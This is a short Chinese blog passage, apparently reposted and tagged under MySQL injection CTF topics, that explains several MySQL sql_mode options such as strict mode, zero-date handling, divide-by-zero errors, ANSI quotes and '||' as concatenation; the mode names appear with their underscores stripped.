STRICTTRANSTABLES:在该模式下,如果一个值不能插入到一个事务表中,则中断当前的操作,对非事务表不做任何限制。

NOZERODATE:在严格模式,不要将 ‘0000-00-00‘做为合法日期。你仍然可以用IGNORE选项插入零日期。在非严格模式,可以接受该日期,但会生成警告。

ERRORFORDIVISIONBYZERO:在严格模式,在INSERT或UPDATE过程中,如果被零除(或MOD(X,0)),则产生错误(否则为警告)。如果未给出该模式,被零除时MySQL返回NULL。如果用到INSERT IGNORE或UPDATE IGNORE中,MySQL生成被零除警告,但操作结果为NULL。

NOAUTOCREATE_USER:防止GRANT自动创建新用户,除非还指定了密码。

ANSIQUOTES:启用ANSIQUOTES后,不能用双引号来引用字符串,因为它被解释为识别符。

PIPESASCONCAT:将"||"视为字符串的连接操作符而非或运算符,这和Oracle数据库是一样是,也和字符串的拼接函数Concat想类似。

太晚了,不搞了qaq,感觉学海无涯啊。

原文:https://www.cnblogs.com/ophxc/p/13160638.html

你可能感兴趣的:(mysql注入ctf)